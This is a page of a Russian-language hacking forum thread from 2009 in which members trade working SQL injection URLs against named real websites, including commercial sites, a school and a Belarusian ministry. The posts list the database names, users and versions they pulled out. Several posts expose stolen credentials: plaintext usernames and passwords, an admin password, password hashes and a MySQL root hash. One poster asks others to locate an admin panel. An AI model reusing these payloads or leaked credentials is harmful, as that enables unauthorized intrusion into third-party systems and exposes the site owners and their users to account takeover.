SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://web.xnet.kz/info.php?id=-1+union+select+1,concat_ws(0x3a,database(),user(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--

    xnetkz_xnet:xnetkz_xnetuser@localhost:5.0.75-log


    users:


    http://web.xnet.kz./info.php?id=-1+unio n+select+1,group_concat(concat_ws(0x3a,login,pass _md5)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51+from+clients+limit+0,1--
     
    _________________________
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.top10cartoons.com/character.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16
    [email protected]:db241580350:4.0.27-max-log
     
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 90
    PR: 5

    http://www.dknews.kz/toplink.php?id=1+union+select+1,concat_ws(0x3a,database(),user(),version()),3,4,5--

    dknewsk_manat:dknewsk_new@localhost:5.0.67-community

    ######################################

    http://www.fomin.kz/news.php?id=-1+union+select+1,2,3,concat_ws(0x3a,database(),u ser(),ve rsion()),5,6,7,8,9--

    fominkz_fomin:fominkz_admin@localhost:5.0.75-log
     
    _________________________
    #9263 HAXTA4OK, 12 May 2009
    Last edited: 12 May 2009
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.ergoproxy.ru/character.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version())
    proxy@localhost:proxy:5.0.77
     
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 30
    PR: 4

    http://www.fbs-rk.kz/index_r.php?id=-1+union+select+1,concat_ws(0x3a,database(),user(),version()),3,4--

    db_fbs:us_fbs@localhost:4.1.22-standard
     
    _________________________
    1 person likes this.
  6. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.os-forum.com/minix/net/code-display.php?filenameid=88/**/UNION/**/SELECT/**/1

    Database Version: 4.0.27-max-log
    Database name: minix
    User name: [email protected]

    http://www.ralstonrealestate.com/display.php?action=listing_detail&PID=12/**/UNION/**/SELECT/**/1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18

    Database Version: 4.0.27-max-log
    Database name: rrweb
    User name: [email protected]
     
    #9266 Rubaka, 12 May 2009
    Last edited: 12 May 2009
    1 person likes this.
  7. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.stom-d.kz/link.php?id=-1+union+select+concat_ws(0x3a,database(),user(),version()),2,3,4--&rz=z


    goldflou_stomed:goldflou_goldflo@localhost:5.0.75-log
     
    _________________________
  8. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://boothextrusions.com/display.php?pID=8/**/UNION/**/SELECT/**/1,Version(),3/**/LIMIT/**/1,1/*

    Database Version: 4.1.22-standard
    Database name: booth_booth
    User name: booth_booth@localhost
     
  9. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.vegetables.co.nz/vegetable.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11
    [email protected]:dcom_vegfed:4.0.27-standard-log
     
    1 person likes this.
  10. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.lawguru.com/cgi/bbs/user/faq.cgi?id=-117+union+select+1,2,3,4,5,6,group_concat(username,char(58),password,char(58),email),8,9,10,11+from+emesgUsers/*
    mitzi:3aZR9CRL:[email protected]

    http://www.lawguru.com/cgi/bbs/user/faq.cgi?id=-117+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,adminid,password),8,9,10,11+from+admin/*
    admin::beatall123

    Если кто найдёт админку- плиз напишите в ПМ.

    http://www.dsni.co.uk/eventdetails.php?id=-313'+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables+--+
     
  11. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.sglaw.com/employment_law.php?pid=6/**/UNION/**/SELECT/**/1,2,3,4/**/LIMIT/**/1,1/*

    Database Version: 5.0.32-Debian_7etch6-log
    Database name: sglaw
    User name: [email protected]
     
    1 person likes this.
  12. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.dsni.co.uk/eventdetails.php?id=312'+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables+--+
    Таблиц с юзерами нет(
     
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://pulsradio.ru/modules/_reklama/index.php?sub&id=-1+union+select+1,version()#

    5.0.67-community-log

    стоят фильтры)

    #####################################
    "МИНИСТЕРСТВО СВЯЗИ И ИНФОРМАТИЗАЦИИ РЕСПУБЛИКИ БЕЛАРУСЬ"

    ТИЦ: 170
    PR: 7


    http://www.mpt.gov.by/new/modules/de livsp/index.php?sub&id=1+unio n+select+1,versi on()

    4.1.22

    ОПЯТЬ ФИЛЬТРЫ)))
     
    _________________________
    #9273 HAXTA4OK, 13 May 2009
    Last edited: 13 May 2009
    1 person likes this.
  14. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    ПР7
    http://www.allgame.com/character.php?id=1704'+union+select+1,concat(user,char(58),password),3,4+from+mysql.user+--+
    root *25F49005CFA966D47EFBF9A8FFE15F72A8352AAA

    http://www.allgame.com/character.php?id=1704'+union+select+unhex(hex(table_name)),2,3,4+from+information_schema.tables+limit+128,1000+--+
    Полезных табл не нашёл(
     
    1 person likes this.
  15. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 3
    http://aven-tour.ru/plus/index.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5

    5.1.32-community-log:aventou_aven:[email protected]
     
    _________________________
  16. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://central-jkt.sch.id/detail_news.php?id=-31+union+select+1,concat(IDUser,char(58),UserID,char(58),UserPassword),3,4,5+from+tbl_admin/*

    1:websekolah:068b89878cc7a5518beb601ee1c7c7d1
     
  17. Lam3rsha

    Lam3rsha Member

    Joined:
    25 Oct 2008
    Messages:
    36
    Likes Received:
    8
    Reputations:
    5
    http://allo-mebel.ru/shop/?dir=62+union+select+1,2,3, 4,5,6,7,8,9/*


    Database Version: 4.1.22
    Database name: allo_mebel_ru
    User name: [email protected]
     
  18. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    Powered by Smoothflash SQL injection


    http://www.gregperkins.com/smoothflash/admin_view_image.php?cid=-99999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/lwsp_users

    kc9ghz:5a31b9d36acbc873dd1d4f1583abc348
    ???
     
  19. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.hellados.ru/pic.php?id=1
    user():database():version()
    [email protected]:hellados:3.23.58

    Blind...
     
    1 person likes this.
  20. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 170
    PR: 5

    http://museum.pereslavl.ru/event.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8/*

    5.0.32-Debian_7etch5-log:pzmuseum:pzmuseum@localhost
     
    _________________________
    2 people like this.
Thread Status:
Not open for further replies.